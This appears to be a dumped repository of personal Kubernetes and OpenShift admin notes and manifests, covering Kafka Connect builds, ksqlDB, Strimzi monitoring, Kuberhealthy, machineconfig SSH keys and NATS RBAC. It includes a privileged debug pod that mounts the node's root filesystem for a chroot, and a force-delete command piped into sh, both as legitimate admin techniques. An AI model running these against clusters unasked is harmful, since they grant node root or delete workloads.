documentation [here.](https://access.redhat.com/documentation/en-us/red_hat_amq/7.6/html/using_amq_streams_on_openshift/getting-started-str#using-kafka-connect-with-plug-ins-str) 178 | 179 | This since we need a number of custom apps 180 | 181 | We will need to download a AMQ streams base image from registry.redhat.io and to do this we need to give our builder 182 | SA (ServiceAccount) access to do so. 183 | You should already have a secret like this from when setting up the AMQ [service registry](#service-registry). 184 | 185 | In my case it's called: 11009103-kafka-serviceaccount2020-pull-secret 186 | 187 | Edit the builder service account and add the secret name, it should look something like this: 188 | oc edit sa builder 189 | 190 | ```yaml 191 | apiVersion: v1 192 | imagePullSecrets: 193 | - name: builder-dockercfg-plm2x 194 | kind: ServiceAccount 195 | metadata: 196 | name: builder 197 | namespace: kafka 198 | secrets: 199 | - name: builder-token-4hzn4 200 | - name: builder-dockercfg-plm2x 201 | - name: 11009103-kafka-serviceaccount2020-pull-secret 202 | ``` 203 | 204 | Create a dockerfile and put in the base folder of your plugin files. 205 | 206 | ```Dockerfile 207 | FROM registry.redhat.io/amq7/amq-streams-kafka-24-rhel7:1.4.0 208 | USER root:root 209 | COPY ./my-plugins/ /opt/kafka/plugins/ 210 | USER 1001 211 | ``` 212 | 213 | Your folder structure containing the jar files should look something like this. 214 | 215 | ```shell 216 | tree ./my-plugins/ 217 | ./my-plugins/ 218 | |__ Dockerfile 219 | | 220 | ├── debezium-connector-mongodb 221 | │ ├── bson-3.4.2.jar 222 | │ ├── CHANGELOG.md 223 | │ ├── CONTRIBUTE.md 224 | │ ├── COPYRIGHT.txt 225 | │ ├── debezium-connector-mongodb-0.7.1.jar 226 | │ ├── debezium-core-0.7.1.jar 227 | │ ├── LICENSE.txt 228 | │ ├── mongodb-driver-3.4.2.jar 229 | │ ├── mongodb-driver-core-3.4.2.jar 230 | │ └── README.md 231 | ├── debezium-connector-mysql 232 | │ ├── CHANGELOG.md 233 | │ ├── CONTRIBUTE.md 234 | │ ├── COPYRIGHT.txt 235 | │ ├── debezium-connector-mysql-0.7.1.jar 236 | │ ├── debezium-core-0.7.1.jar 237 | │ ├── LICENSE.txt 238 | │ ├── mysql-binlog-connector-java-0.13.0.jar 239 | │ ├── mysql-connector-java-5.1.40.jar 240 | │ ├── README.md 241 | │ └── wkb-1.0.2.jar 242 | ``` 243 | 244 | Then you area ready to setup the build. 245 | 246 | ```shell 247 | oc new-build --name=jdbc-amq-connect registry.redhat.io/amq7/amq-streams-kafka-24-rhel7:1.4.0 --binary=true 248 | 249 | # The --from-dir should be the folder where you store the jar and Dockerfile. 250 | oc start-build jdbc-amq-connect --from-dir=my-plugins --follow 251 | 252 | oc new-app jdbc-amq-connect 253 | ``` 254 | 255 | #### S2i second path 256 | 257 | The camel documentation explains how to use the s2i solution in a [better way](https://camel.apache.org/camel-kafka-connector/latest/try-it-out-on-openshift-with-strimzi.html) 258 | 259 | The Camel project have recently created a bunch of kafka connectors that they already have. 260 | Take a look at this [blog post](https://strimzi.io/blog/2020/05/07/camel-kafka-connectors/) for more info. 261 | 262 | ### Verfiy plugin list 263 | 264 | rsh in to the connect pod and run: 265 | 266 | ```curl http://localhost:8083/connector-plugins``` 267 | 268 | This will give you a list of all the plugins 269 | 270 | ### Get schema definition 271 | 272 | If you want to get the definition of what values you can put in the connector you can perfrom the following. 273 | 274 | curl -X PUT -d "{}" localhost:8083/connector-plugins/JdbcSourceConnector/config/validate --header "connect-Type:application/json" |python -m json.tool 275 | 276 | Notice the python part is only to make the output more readable. 277 | 278 | ## Connector 279 | 280 | Just like we can use Strimzi CRD for connect we can also use it for connectors. 281 | 282 | A connector is something that uses the connect to read the actual source data that you define. 283 | 284 | You can read more about it [here.](https://strimzi.io/docs/latest/#kafkaconnector_resources) 285 | 286 | ## KSQLdb 287 | 288 | Using the open-source version of confluent ksql. 289 | The helm chart dosen't seem to work and I had to do changes to get ksql to start. I hopefully will document this later. 290 | 291 | For now ignore this section. 292 | 293 | ### Deploy basic 294 | 295 | helm install -n kafka ksql . 296 | -------------------------------------------------------------------------------- /kafka/ksql/ksql-cli.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | kubectl -n $1 run ksqldb-cli-$2 -ti \ 4 | --image=confluentinc/ksqldb-cli:0.8.1 \ 5 | --rm=true --restart=Never \ 6 | -- /usr/bin/ksql http://ksqldb-server:8088 7 | -------------------------------------------------------------------------------- /kafka/ksql/ksqlDB-deployment.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: apps/v1 2 | kind: Deployment 3 | metadata: 4 | name: ksqldb-deployment 5 | labels: 6 | app: ksqldb 7 | spec: 8 | replicas: 1 9 | selector: 10 | matchLabels: 11 | app: ksqldb 12 | template: 13 | metadata: 14 | labels: 15 | app: ksqldb 16 | spec: 17 | containers: 18 | - name: ksqldb 19 | image: confluentinc/ksqldb-server:0.8.1 20 | ports: 21 | - containerPort: 8088 22 | env: 23 | - name: KSQL_BOOTSTRAP_SERVERS 24 | value: PLAINTEXT://my-cluster-kafka-bootstrap:9092 25 | - name: KSQL_LISTENERS 26 | value: http://0.0.0.0:8088 27 | - name: KSQL_KSQL_LOGGING_PROCESSING_STREAM_AUTO_CREATE 28 | value: "true" 29 | - name: KSQL_KSQL_LOGGING_PROCESSING_TOPIC_AUTO_CREATE 30 | value: "true" 31 | --- 32 | apiVersion: v1 33 | kind: Service 34 | metadata: 35 | name: ksqldb-server 36 | spec: 37 | selector: 38 | app: ksqldb 39 | ports: 40 | - protocol: TCP 41 | port: 8088 42 | targetPort: 8088 -------------------------------------------------------------------------------- /kafka/monitoring/strimzi-pod-monitor.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: monitoring.coreos.com/v1 2 | kind: PodMonitor 3 | metadata: 4 | name: cluster-operator-metrics 5 | labels: 6 | app: strimzi 7 | spec: 8 | selector: 9 | matchLabels: 10 | strimzi.io/kind: cluster-operator 11 | namespaceSelector: 12 | matchNames: 13 | - kafka 14 | podMetricsEndpoints: 15 | - path: /metrics 16 | port: http 17 | --- 18 | apiVersion: monitoring.coreos.com/v1 19 | kind: PodMonitor 20 | metadata: 21 | name: entity-operator-metrics 22 | labels: 23 | app: strimzi 24 | spec: 25 | selector: 26 | matchLabels: 27 | app.kubernetes.io/name: entity-operator 28 | namespaceSelector: 29 | matchNames: 30 | - kafka 31 | podMetricsEndpoints: 32 | - path: /metrics 33 | port: healthcheck -------------------------------------------------------------------------------- /kafka/monitoring/strimzi-service-monitor-connect.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: monitoring.coreos.com/v1 2 | kind: ServiceMonitor 3 | metadata: 4 | name: kafka-service-monitor 5 | labels: 6 | app: strimzi 7 | spec: 8 | selector: 9 | matchLabels: 10 | strimzi.io/kind: KafkaConnect 11 | endpoints: 12 | - honorLabels: true 13 | interval: 10s 14 | scrapeTimeout: 10s 15 | path: /metrics 16 | scheme: http 17 | port: prometheus 18 | -------------------------------------------------------------------------------- /kafka/monitoring/strimzi-service-monitor.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: monitoring.coreos.com/v1 2 | kind: ServiceMonitor 3 | metadata: 4 | name: kafka-service-monitor 5 | labels: 6 | app: strimzi 7 | spec: 8 | selector: 9 | matchLabels: 10 | strimzi.io/kind: Kafka 11 | endpoints: 12 | - honorLabels: true 13 | interval: 10s 14 | scrapeTimeout: 10s 15 | path: /metrics 16 | scheme: http 17 | port: prometheus 18 | -------------------------------------------------------------------------------- /kafka/service-registry/11009103_kafka-serviceaccount2020-secret.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: v1 2 | kind: Secret 3 | metadata: 4 | name: 11009103-kafka-serviceaccount2020-pull-secret 5 | data: 6 | .dockerconfigjson: somerandomdatathatismypullsecret 7 | type: kubernetes.io/dockerconfigjson -------------------------------------------------------------------------------- /kafka/service-registry/service-registry-template.yml: -------------------------------------------------------------------------------- 1 | apiVersion: v1 2 | kind: Template 3 | metadata: 4 | name: service-registry 5 | message: |- 6 | Congratulations on deploying Service Registry into OpenShift! 7 | 8 | All components have been deployed and configured. 9 | 10 | objects: 11 | # Image Streams for the components 12 | - apiVersion: v1 13 | kind: ImageStream 14 | metadata: 15 | name: registry 16 | spec: 17 | tags: 18 | - name: latest 19 | from: 20 | kind: DockerImage 21 | name: registry.redhat.io/fuse7-tech-preview/fuse-service-registry-rhel7:1.5-9 22 | importPolicy: 23 | insecure: true 24 | referencePolicy: 25 | type: Local 26 | # Services for the components 27 | - apiVersion: v1 28 | kind: Service 29 | metadata: 30 | creationTimestamp: null 31 | labels: 32 | app: service-registry 33 | template: service-registry 34 | name: service-registry 35 | spec: 36 | selector: 37 | app: service-registry 38 | ports: 39 | - port: 8080 40 | protocol: TCP 41 | targetPort: 8080 42 | nodePort: 32222 43 | type: NodePort 44 | sessionAffinity: None 45 | status: 46 | loadBalancer: {} 47 | # Registry Deployment Configuration 48 | # ################################# 49 | - apiVersion: v1 50 | kind: DeploymentConfig 51 | metadata: 52 | creationTimestamp: null 53 | labels: 54 | app: service-registry 55 | template: service-registry 56 | name: service-registry 57 | spec: 58 | replicas: 1 59 | selector: 60 | app: service-registry 61 | deploymentconfig: service-registry 62 | strategy: 63 | type: Recreate 64 | recreateParams: 65 | timeoutSeconds: 600 66 | resources: {} 67 | activeDeadlineSeconds: 21600 68 | template: 69 | metadata: 70 | creationTimestamp: null 71 | labels: 72 | app: service-registry 73 | deploymentconfig: service-registry 74 | template: service-registry 75 | spec: 76 | replicas: 1 77 | containers: 78 | - image: registry:latest 79 | imagePullPolicy: Always 80 | name: service-registry 81 | ports: 82 | - containerPort: 8080 83 | protocol: TCP 84 | env: 85 | - name: QUARKUS_PROFILE 86 | value: prod 87 | - name: KAFKA_BOOTSTRAP_SERVERS 88 | value: ${KAFKA_BOOTSTRAP_SERVERS} 89 | resources: 90 | limits: 91 | cpu: ${REGISTRY_CPU_LIMIT} 92 | memory: ${REGISTRY_MEM_LIMIT} 93 | requests: 94 | cpu: ${REGISTRY_CPU_REQUEST} 95 | memory: ${REGISTRY_MEM_REQUEST} 96 | livenessProbe: 97 | httpGet: 98 | path: /health/live 99 | port: 8080 100 | scheme: HTTP 101 | initialDelaySeconds: 5 102 | timeoutSeconds: 5 103 | periodSeconds: 10 104 | successThreshold: 1 105 | failureThreshold: 3 106 | readinessProbe: 107 | httpGet: 108 | path: /health/ready 109 | port: 8080 110 | scheme: HTTP 111 | initialDelaySeconds: 5 112 | timeoutSeconds: 5 113 | periodSeconds: 10 114 | successThreshold: 1 115 | failureThreshold: 3 116 | terminationMessagePath: /dev/termination-log 117 | dnsPolicy: ClusterFirst 118 | restartPolicy: Always 119 | terminationGracePeriodSeconds: 30 120 | triggers: 121 | - type: ConfigChange 122 | - type: ImageChange 123 | imageChangeParams: 124 | automatic: true 125 | containerNames: 126 | - service-registry 127 | from: 128 | kind: ImageStreamTag 129 | name: 'registry:latest' 130 | status: {} 131 | # The Route(s) 132 | - apiVersion: v1 133 | kind: Route 134 | metadata: 135 | name: service-registry 136 | creationTimestamp: null 137 | labels: 138 | app: service-registry 139 | template: service-registry 140 | spec: 141 | host: ${REGISTRY_ROUTE} 142 | to: 143 | kind: Service 144 | name: service-registry 145 | weight: 100 146 | tls: 147 | termination: edge 148 | insecureEdgeTerminationPolicy: Redirect 149 | wildcardPolicy: None 150 | # Template Parameters 151 | parameters: 152 | - name: REGISTRY_ROUTE 153 | displayName: Registry Route Name 154 | description: The route name to use for the Registry api. 155 | value: registry.OPENSHIFT_APP_DOMAIN.com 156 | required: true 157 | - name: REGISTRY_MEM_LIMIT 158 | displayName: Registry Max Memory Limit 159 | description: Registry Pods Max Memory Limit 160 | value: 1300Mi 161 | required: true 162 | - name: REGISTRY_MEM_REQUEST 163 | displayName: Registry Memory Requests 164 | description: Registry Pods Memory Requests 165 | value: 600Mi 166 | required: true 167 | - name: REGISTRY_CPU_LIMIT 168 | displayName: Registry Max CPU Limit 169 | description: Registry Pods Max CPU Limit 170 | value: '1' 171 | required: true 172 | - name: REGISTRY_CPU_REQUEST 173 | displayName: Registry CPU Requests 174 | description: Registry Pods CPU Requests 175 | value: 100m 176 | required: true 177 | - name: KAFKA_BOOTSTRAP_SERVERS 178 | displayName: Kafka Bootstrap Servers 179 | description: Kafka Bootstrap Servers 180 | required: true -------------------------------------------------------------------------------- /kafka/topic.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: kafka.strimzi.io/v1alpha1 2 | kind: KafkaTopic 3 | metadata: 4 | name: my-topic 5 | labels: 6 | strimzi.io/cluster: my-cluster 7 | spec: 8 | replicas: 3 9 | partitions: 12 -------------------------------------------------------------------------------- /kind.md: -------------------------------------------------------------------------------- 1 | # Kind on fedora 2 | 3 | Recently there is some changed in firewalld that creates issues with [kind](https://kind.sigs.k8s.io/docs/user/known-issues/#fedora). 4 | 5 | ## Grafana-operator 6 | 7 | For my own shitty memory. 8 | 9 | To run the grafana-operator I have started to use a [ingress](https://kind.sigs.k8s.io/docs/user/ingress/#ingress-nginx). 10 | 11 | ```shell 12 | kubectl apply -f https://raw.githubusercontent.com/kubernetes/ingress-nginx/main/deploy/static/provider/kind/deploy.yaml 13 | ``` 14 | 15 | Update deploy/examples/Grafana.yaml to set spec.client.preferService: false 16 | 17 | ```shell 18 | yq -i '.spec.client.preferService = false' deploy/examples/Grafana.yaml 19 | ``` 20 | -------------------------------------------------------------------------------- /kuberhealthy.md: -------------------------------------------------------------------------------- 1 | # Kuberhealthy 2 | 3 | I will try to explain how to install kuberhealthy on OCP 4.3. 4 | 5 | I currently use the prometheus operator built in to OCP 4.3 and using a tech preview feature there. If you don't want to enable this tech preview you can just as well use the operator avaliabile in OLM/operatorhub.io or the upstream operator. 6 | 7 | When writing this v2.1.2 is the latest tag and work from that. 8 | Currently work is ongoing to mitegate a number of these issues, for example issues 400 9 | 10 | ## Deploy 11 | 12 | If you want to use helm that is also an option, I currently don't. 13 | 14 | ```shell 15 | git clone https://github.com/Comcast/kuberhealthy 16 | 17 | cd kuberhealthy 18 | oc new-project kuberhealthy 19 | 20 | # This contains all the CRD, rbac etc. 21 | oc apply -f deploy/kuberhealthy-prometheus-operator.yaml 22 | ``` 23 | 24 | ### Give access to sa 25 | 26 | Currently all of the pods run as root, this will be fixed in the next release. 27 | 28 | oc adm policy add-scc-to-user anyuid -z kuberhealthy 29 | oc adm policy add-scc-to-user anyuid -z daemonset-khcheck 30 | 31 | #### Deployment check 32 | 33 | Due to OCP scc the deployment that deployment-check creates it won't have rights to create it due it's nginx running in the pod and it needs root. 34 | 35 | To mitigate this perform the following: 36 | 37 | ```shell 38 | oc create sa khcheck-deployment-sa 39 | oc adm policy add-scc-to-user anyuid -z khcheck-deployment-sa 40 | 41 | # Add the following env variable 42 | # TODO write this as a patch instead. 43 | oc -n kuberhealthy edit khc deployment 44 | - name: CHECK_SERVICE_ACCOUNT 45 | value: khcheck-deployment-sa 46 | ``` 47 | 48 | It should look something like this. 49 | spec: 50 | podSpec: 51 | containers: 52 | - env: 53 | - name: CHECK_TIME_LIMIT 54 | value: 15m 55 | - name: CHECK_DEPLOYMENT_REPLICAS 56 | value: "4" 57 | - name: CHECK_DEPLOYMENT_ROLLING_UPDATE 58 | value: "true" 59 | - name: CHECK_SERVICE_ACCOUNT 60 | value: khcheck-deployment-sa 61 | 62 | #### Daemonset 63 | 64 | Sadly Daemonset isn't as easy to fix. 65 | This due to that daemonset currently hard codes securityContext.runAsUser=1000 which creates the following error when it runs: 66 | 67 | Error creating: pods "ds-check-daemonset-1586258527-1586258534-" is forbidden: unable to validate against any security context constraint: [spec.containers[0].securityContext.securityContext.runAsUser: Invalid value: 1000: must be in the ranges: [1000550000, 1000559999]] 68 | 69 | We are currently discussion solitions about this in issue 400 but it will take a bigger rewrite if we wan't a long term solution. 70 | 71 | I currently do a **bad** solution which is I change it manually in the code and push it to one of my private repos. 72 | The thing is: 73 | 74 | The admission plug-in will look for the openshift.io/sa.scc.uid-range annotation on the current project to populate range fields, as it does not provide this range. In the end, a container will have runAsUser equal to the first value of the range that is hard to predict because every project has different ranges." 75 | 76 | Which makes it differ in every project that you create, fun with fun, in short it won't work between 77 | clusters and you will have to manage a container per kuberhealthy deployment. 78 | 79 | Depending on how long the desission for a long term solution takes I might fix this with a environment variable. 80 | 81 | To build your own release of kuberhealthy/daemonset-check:v2.2.1 perfrom the following from the kubrhealthy repo: 82 | 83 | ```shell 84 | cd cmd/daemonset-check/ 85 | # TODO fix a sed 86 | edit main.go 87 | # search for runAsUser := int64(1000) and adapt the number to your range. 88 | # For example: 1000550001 in my case this time... 89 | 90 | make build 91 | # Example how to login to quay.io 92 | export QUAY_ID=nissessenap 93 | export QUAY_PASSWORD='Super!!!Secret' 94 | podman login -u ${QUAY_ID} -p ${QUAY_PASSWORD} quay.io 95 | 96 | # Tag the release for example to quay 97 | podman tag localhost/kuberhealthy/daemonset-check:v2.1.1 quay.io/${QUAY_ID}/daemonset-check:v2.1.2 98 | podman push quay.io/${QUAY_ID}/daemonset-check:v2.1.2 99 | 100 | # Update your daemonset to match your image 101 | oc edit -n kuberhealthy khc daemonset 102 | oc get khc daemonset -o jsonpath='{.spec.podSpec.containers[*].image}' 103 | 104 | ``` 105 | 106 | Now all checks should work. 107 | 108 | #### Can get the patch to work right now, will fix it later 109 | 110 | oc -n kuberhealthy patch khchecks daemonset --patch '{"spec": {"podSpec": {"containers": [{"name": "main","image": "quay.io/nissessenap/daemonset-check:v2.1.3"}]}}}' 111 | 112 | ## Fix monitoring 113 | 114 | The ServiceMonitor object that we deployed with kuberhealthy-prometheus-operator.yaml 115 | contains: 116 | spec: 117 | jobLabel: component 118 | 119 | I didn't manage to find my service due to it. 120 | Im 100% sure this isn't anything wrong it's just that I don't know how to search in prometheus good enough any more. 121 | Due to this I removed it in my setup and I assume that you have done so as well, else 122 | the pre defined grafana dashboard won't work. 123 | 124 | So for now remove it. 125 | ```oc edit ServiceMonitor kuberhealthy -n kuberhealthy``` 126 | 127 | So now you can search the metrics in your prometheus dashboard, for example: kuberhealthy_running 128 | or kuberhealthy_check_duration_seconds{check="kuberhealthy/deployment"} 129 | 130 | If you want a list of all the avliable metrics you can do it a bunch of ways. 131 | One easy way is to perfrom the following: 132 | 133 | ```shell 134 | oc expose svc kuberhealthy 135 | curl $(oc -n kuberhealthy get route kuberhealthy -o jsonpath='{.spec.host}')/metrics 136 | oc delete route kuberhealthy 137 | ``` 138 | 139 | You can just as easily go in localy to the pod and curl localhost, expose the service with port-forward go in to prometheus and look and I'm sure there is many more. 140 | 141 | ### Grafana 142 | 143 | So all this data but no dashboard, lets fix it. 144 | I assume that you have followed my instructions on how to setup prometheus or something 145 | similar and you have a grafana instance up and running. 146 | 147 | You can be lazy and login to the instance and copy the grafana dashboard 148 | that you will find under deploy/grafana/dashboard.json in the kuberhealthy repo. 149 | Don't do that, we do everything as code :=) 150 | 151 | ```oc apply -f prometheus/grafana/grafana-dasboard-kuberhealthy.yaml``` 152 | -------------------------------------------------------------------------------- /kubernetes.md: -------------------------------------------------------------------------------- 1 | # kubernetes 2 | 3 | This file will contain some kubernetes commands. 4 | Most of them will be kept in [oc.md](oc.md). 5 | Instead of writing `kubectl`everywhere I use a `alias k=kubectl`so in the docs you will see k in a bunch of places. 6 | Instead of writing kubernetes i normally write k8s. 7 | 8 | 9 | ## Debug 10 | 11 | ### Debug pod 12 | 13 | There are a few things i miss from OCP in kubernetes and this is among them. In OCP you can write `oc debug node/ip-10-0-141-105.ec2.internal`. 14 | And it will start a debug pod on your node that can mount the root dir for you. This enables you to debug nodes without having to ssh in to them. 15 | 16 | I k8s you can solve it this way. 17 | > Notice the nodeSelector at the bottom of the yaml. 18 | 19 | debug.yaml 20 | 21 | ```yaml 22 | apiVersion: v1 23 | kind: Pod 24 | metadata: 25 | name: debug 26 | namespace: default 27 | spec: 28 | containers: 29 | - command: 30 | - /bin/sh 31 | resources: 32 | requests: 33 | memory: "16Mi" 34 | cpu: "10m" 35 | limits: 36 | memory: "64Mi" 37 | cpu: "100m" 38 | image: alpine:latest 39 | name: container-00 40 | securityContext: 41 | privileged: true 42 | runAsUser: 0 43 | tty: true 44 | volumeMounts: 45 | - mountPath: /host 46 | name: host 47 | volumes: 48 | - hostPath: 49 | path: / 50 | type: Directory 51 | name: host 52 | hostNetwork: true 53 | nodeSelector: 54 | kubernetes.io/hostname: your-host-name 55 | ``` 56 | 57 | And lets jump in to the host 58 | 59 | ```shell 60 | k apply -f debug.yaml 61 | k exec -it debug -n default -- /bin/sh 62 | # To become root on the node from the pod: 63 | chroot /host 64 | ``` 65 | 66 | ## Delete all pods in failed phases 67 | 68 | ```shell 69 | kubectl get pod --all-namespaces --field-selector=status.phase==Failed 70 | kubectl delete pod --all-namespaces --field-selector=status.phase==Failed 71 | ``` 72 | ## Delete pods in terminating 73 | 74 | In general don't use this, but it might be needed if your kubelet have hanged and then restarted or something like that. 75 | There is no phase update when a pod is terminating what I can find. 76 | So some awk magic is needed. 77 | 78 | ```shell 79 | kubectl get pods --all-namespaces | awk '{if ($4=="Terminating") print "kubectl delete pod " $2 " -n " $1 " --force";}' | sh 80 | ``` 81 | 82 | -------------------------------------------------------------------------------- /kubernetes/pod_exec.py: -------------------------------------------------------------------------------- 1 | # Copyright 2019 The Kubernetes Authors. 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | """ 16 | Shows the functionality of exec using a Busybox container. 17 | """ 18 | 19 | import time 20 | 21 | from kubernetes import config 22 | from kubernetes.client import Configuration 23 | from kubernetes.client.api import core_v1_api 24 | from kubernetes.client.rest import ApiException 25 | from kubernetes.stream import stream 26 | 27 | namespace = "default" 28 | 29 | 30 | def exec_commands(api_instance): 31 | name = "busybox-test" 32 | resp = None 33 | try: 34 | resp = api_instance.read_namespaced_pod(name=name, namespace=namespace) 35 | except ApiException as e: 36 | if e.status != 404: 37 | print("Unknown error: %s" % e) 38 | exit(1) 39 | 40 | if not resp: 41 | print("Pod %s does not exist. Creating it..." % name) 42 | pod_manifest = { 43 | "apiVersion": "v1", 44 | "kind": "Pod", 45 | "metadata": {"name": name}, 46 | "spec": { 47 | "containers": [ 48 | { 49 | "image": "busybox", 50 | "name": "sleep", 51 | "args": ["/bin/sh", "-c", "while true;do date;sleep 5; done"], 52 | } 53 | ] 54 | }, 55 | } 56 | resp = api_instance.create_namespaced_pod( 57 | body=pod_manifest, namespace=namespace 58 | ) 59 | while True: 60 | resp = api_instance.read_namespaced_pod(name=name, namespace=namespace) 61 | if resp.status.phase != "Pending": 62 | break 63 | time.sleep(1) 64 | print("Done.") 65 | 66 | # Calling exec and waiting for response 67 | exec_command = [ 68 | "/bin/sh", 69 | "-c", 70 | "echo This message goes to stderr; echo This message goes to stdout", 71 | ] 72 | resp = stream( 73 | api_instance.connect_get_namespaced_pod_exec, 74 | name, 75 | namespace, 76 | command=exec_command, 77 | stderr=True, 78 | stdin=False, 79 | stdout=True, 80 | tty=False, 81 | ) 82 | print("Response: " + resp) 83 | 84 | # Calling exec interactively 85 | exec_command = ["/bin/sh"] 86 | resp = stream( 87 | api_instance.connect_get_namespaced_pod_exec, 88 | name, 89 | namespace, 90 | command=exec_command, 91 | stderr=True, 92 | stdin=True, 93 | stdout=True, 94 | tty=False, 95 | _preload_content=False, 96 | ) 97 | commands = [ 98 | "echo This message goes to stdout", 99 | 'echo "This message goes to stderr" >&2', 100 | ] 101 | 102 | while resp.is_open(): 103 | resp.update(timeout=1) 104 | if resp.peek_stdout(): 105 | print("STDOUT: %s" % resp.read_stdout()) 106 | if resp.peek_stderr(): 107 | print("STDERR: %s" % resp.read_stderr()) 108 | if commands: 109 | c = commands.pop(0) 110 | print("Running command... %s\n" % c) 111 | resp.write_stdin(c + "\n") 112 | else: 113 | break 114 | 115 | resp.write_stdin("date\n") 116 | sdate = resp.readline_stdout(timeout=3) 117 | print("Server date command returns: %s" % sdate) 118 | resp.write_stdin("whoami\n") 119 | user = resp.readline_stdout(timeout=3) 120 | print("Server user is: %s" % user) 121 | resp.close() 122 | 123 | 124 | def main(): 125 | config.load_incluster_config() 126 | try: 127 | c = Configuration().get_default_copy() 128 | except AttributeError: 129 | c = Configuration() 130 | c.assert_hostname = False 131 | Configuration.set_default(c) 132 | core_v1 = core_v1_api.CoreV1Api() 133 | 134 | exec_commands(core_v1) 135 | 136 | 137 | if __name__ == "__main__": 138 | main() 139 | -------------------------------------------------------------------------------- /machineconfig.md: -------------------------------------------------------------------------------- 1 | # Machineconfig 2 | 3 | Since ignite is rather limited you might want to perfrom some changes to the local config on the node. 4 | 5 | For example add another ssh key 6 | This will trigger a restart of your machinesets that match the machineconfig. 7 | 8 | ## So much machineconfig 9 | 10 | Generate a ssh-key that you want to use. In my case $HOME/.ssh/node.id_rsa.pub 11 | 12 | ### What machineconfigs exists 13 | 14 | oc get machineconfig -n openshift-machine-api 15 | 16 | ## Add ssh config 17 | 18 | oc patch machineconfig 99-worker-ssh --type=json --patch="[{\"op\":\"add\", \"path\":\"/spec/config/passwd/users/0/sshAuthorizedKeys/-\", \"value\":\"$(cat $HOME/.ssh/node.id_rsa.pub)\"}]" 19 | 20 | This will create a rendered-worker machineconfig and you should see it when performing get machineconfig 21 | 22 | ### Which machineconfig we are running on and status 23 | 24 | Use: 25 | 26 | oc get machineconfigpool 27 | 28 | Updated should become True when all your machinesets that match worker have been updated. 29 | Last time i did this we saw a number of errors, this was due to that we tainted our infra nodes. 30 | 31 | To workaround this issue you need to allow a number of operators to go to the node, like the machineconfig operator. In our case we put the taint on the daemon set. 32 | 33 | More can be read about it in the [bugzilla](https://bugzilla.redhat.com/show_bug.cgi?id=1780318) 34 | -------------------------------------------------------------------------------- /nats/00-prereqs.yaml: -------------------------------------------------------------------------------- 1 | --- 2 | apiVersion: v1 3 | kind: ServiceAccount 4 | metadata: 5 | name: nats-operator 6 | # Change to the name of the namespace where to install NATS Operator. 7 | # Alternatively, change to "nats-io" to perform a cluster-scoped deployment in supported versions. 8 | 9 | --- 10 | apiVersion: rbac.authorization.k8s.io/v1 11 | kind: ClusterRoleBinding 12 | metadata: 13 | name: nats-operator-binding 14 | roleRef: 15 | apiGroup: rbac.authorization.k8s.io 16 | kind: ClusterRole 17 | name: nats-operator 18 | subjects: 19 | - kind: ServiceAccount 20 | name: nats-operator 21 | namespace: nats 22 | # Change to the name of the namespace where to install NATS Operator. 23 | # Alternatively, change to "nats-io" to perform a cluster-scoped deployment in supported versions. 24 | 25 | # NOTE: When performing multiple namespace-scoped installations, all 26 | # "nats-operator" service accounts (across the different namespaces) 27 | # MUST be added to this binding. 28 | #- kind: ServiceAccount 29 | # name: nats-operator 30 | # namespace: nats-io 31 | #- kind: ServiceAccount 32 | # name: nats-operator 33 | # namespace: namespace-2 34 | #(...) 35 | 36 | --- 37 | apiVersion: rbac.authorization.k8s.io/v1 38 | kind: ClusterRole 39 | metadata: 40 | name: nats-operator 41 | rules: 42 | # Allow creating CRDs 43 | - apiGroups: 44 | - apiextensions.k8s.io 45 | resources: 46 | - customresourcedefinitions 47 | verbs: ["get", "list", "create", "update", "watch"] 48 | 49 | # Allow all actions on NATS Operator manager CRDs 50 | - apiGroups: 51 | - nats.io 52 | resources: 53 | - natsclusters 54 | - natsserviceroles 55 | verbs: ["*"] 56 | 57 | # Allowed actions on Pods 58 | - apiGroups: [""] 59 | resources: 60 | - pods 61 | verbs: ["create", "watch", "get", "patch", "update", "delete", "list"] 62 | 63 | # Allowed actions on Services 64 | - apiGroups: [""] 65 | resources: 66 | - services 67 | verbs: ["create", "watch", "get", "patch", "update", "delete", "list"] 68 | 69 | # Allowed actions on Secrets 70 | - apiGroups: [""] 71 | resources: 72 | - secrets 73 | verbs: ["create", "watch", "get", "update", "delete", "list"] 74 | 75 | # Allow all actions on some special subresources 76 | - apiGroups: [""] 77 | resources: 78 | - pods/exec 79 | - pods/log 80 | - serviceaccounts/token 81 | - events 82 | verbs: ["*"] 83 | 84 | # Allow listing Namespaces and ServiceAccounts 85 | - apiGroups: [""] 86 | resources: 87 | - namespaces 88 | - serviceaccounts 89 | verbs: ["list", "get", "watch"] 90 | 91 | # Allow actions on Endpoints 92 | - apiGroups: [""] 93 | resources: 94 | - endpoints 95 | verbs: ["create", "watch", "get", "update", "delete", "list"] 96 | 97 | --- 98 | apiVersion: v1 99 | kind: ServiceAccount 100 | metadata: 101 | name: nats-server 102 | --- 103 | apiVersion: rbac.authorization.k8s.io/v1 104 | kind: ClusterRole 105 | metadata: 106 | name: nats-server 107 | rules: 108 | - apiGroups: [""] 109 | resources: 110 | - nodes 111 | verbs: ["get"] 112 | --- 113 | apiVersion: rbac.authorization.k8s.io/v1 114 | kind: ClusterRoleBinding 115 | metadata: 116 | name: nats-server-binding 117 | roleRef: 118 | apiGroup: rbac.authorization.k8s.io 119 | kind: ClusterRole 120 | name: nats-server 121 | subjects: 122 | - kind: ServiceAccount 123 | name: nats-server 124 | namespace: nats 125 | -------------------------------------------------------------------------------- /nats/10-deployment.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: apps/v1 2 | kind: Deployment 3 | metadata: 4 | name: nats-operator 5 | # Change to the name of the namespace where to install NATS Operator. 6 | # Alternatively, change to "nats-io" to perform a cluster-scoped deployment in supported versions. 7 | spec: 8 | replicas: 1 9 | selector: 10 | matchLabels: 11 | name: nats-operator 12 | template: 13 | metadata: 14 | 